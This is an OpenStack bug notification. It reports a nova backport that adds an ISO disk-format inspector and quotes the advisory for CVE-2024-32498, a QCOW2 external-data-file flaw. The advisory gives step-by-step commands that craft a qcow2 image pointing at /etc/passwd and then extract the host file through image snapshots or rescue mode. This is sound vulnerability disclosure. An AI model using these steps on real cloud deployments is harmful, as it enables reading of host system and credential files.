[Bug 2059809] Related fix merged to nova (unmaintained/zed)

[OpenStack Infra]

Reviewed:  https://review.opendev.org/c/openstack/nova/+/924241
Committed: https://opendev.org/openstack/nova/commit/e8f00617ed319aa37f6946cf10883eef6d180612
Submitter: "Zuul (22348)"
Branch:    unmaintained/zed

commit e8f00617ed319aa37f6946cf10883eef6d180612
Author: Sean Mooney <work at seanmooney.info>
Date:   Thu Jul 4 20:09:31 2024 +0100

    Add iso file format inspector
    
    This change includes unit tests for the ISO
    format inspector using mkisofs to generate
    the iso files.
    
    A test for stashing qcow content in the system_area
    of an iso file is also included.
    
    This change modifies format_inspector.detect_file_format
    to evaluate all inspectors until they are complete and
    raise an InvalidDiskInfo exception if multiple formats
    match.
    
    Related-Bug: #2059809
    Change-Id: I7e12718fb3e1f77eb8d1cfcb9fa64e8ddeb9e712
    (cherry picked from commit b1cc39848ebe9b9cb63141a647bda52a2842ee4b)
    (cherry picked from commit eeda7c333c773216c216159926673874ce4843ba)
    (cherry picked from commit 24628ecbbe9d5fdd4fe6767ca92395f0d3da9e48)
    (cherry picked from commit 65f0789df05e2ba7f11c0eaf2c6959367acbced2)

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https://bugs.launchpad.net/bugs/2059809

Title:
  [OSSA-2024-001] Arbitrary file access through QCOW2 external data file
  (CVE-2024-32498)

Status in Cinder:
  Fix Released
Status in Ubuntu Cloud Archive:
  Fix Released
Status in Ubuntu Cloud Archive antelope series:
  Fix Released
Status in Ubuntu Cloud Archive bobcat series:
  Fix Released
Status in Ubuntu Cloud Archive caracal series:
  Fix Released
Status in Ubuntu Cloud Archive ussuri series:
  Fix Committed
Status in Ubuntu Cloud Archive yoga series:
  Fix Released
Status in Glance:
  Fix Released
Status in OpenStack Compute (nova):
  Fix Released
Status in OpenStack Security Advisory:
  Fix Released

Bug description:
  OpenStack has security vulnerability in Nova or Glance, that allows an authenticated attacker to read arbitrary files.
  QCOW2 has two mechanisms to read from another file. The backing file issue was reported and fixed with OSSA-2015-014, but the external data file was not discovered.

  Steps to Reproduce:

  - Create a disk image: `qemu-img create -f qcow2 -o data_file=abcdefghigh,data_file_raw=on disk.qcow2 1G` with `abcdefghigh` a placeholder of the same length as the file to read. `qemu-img` will zero it.
  - Replace the filename in the disk image: `sed -i "s#abcdefghigh#/etc/passwd#" disk.qcow2`.
  - Upload/register the disk image: `openstack image create --disk-format qcow2 --container-format bare --file "disk.qcow2" --private "my-image"`.
  - Create a new instance: `openstack server create --flavor "nano" --image "my-image" "my-instance"`.

  With the non-bootable instance there might be two ways to continue:

  Option 1:
  - Derive a new image: `openstack server image create --name "my-leak" "my-instance"`
  - Download the image: `openstack image save --file "leak.qcow2" "my-leak"`
  - The file content starts at guest cluster 0

  Option 2: (this is untested because I reproduced it only in a production system)
  - Reboot the instance in rescue mode: `openstack server rescue --image "cirros-0.6.2-x86_64-disk" "my-instance"`.
  - Go to the Dashboard, open the console of the instance and login to the instance.
  - Extract content from `/dev/sdb` with `cat /dev/sdb | fold -w 1024 | head -n 32`, `xxd -l 1024 -c 32 /dev/sdb` or similar methods.
  - It might be possible to write to the host file. If the disk image is mounted with `qemu-nbd`, writes go through to the external data file.

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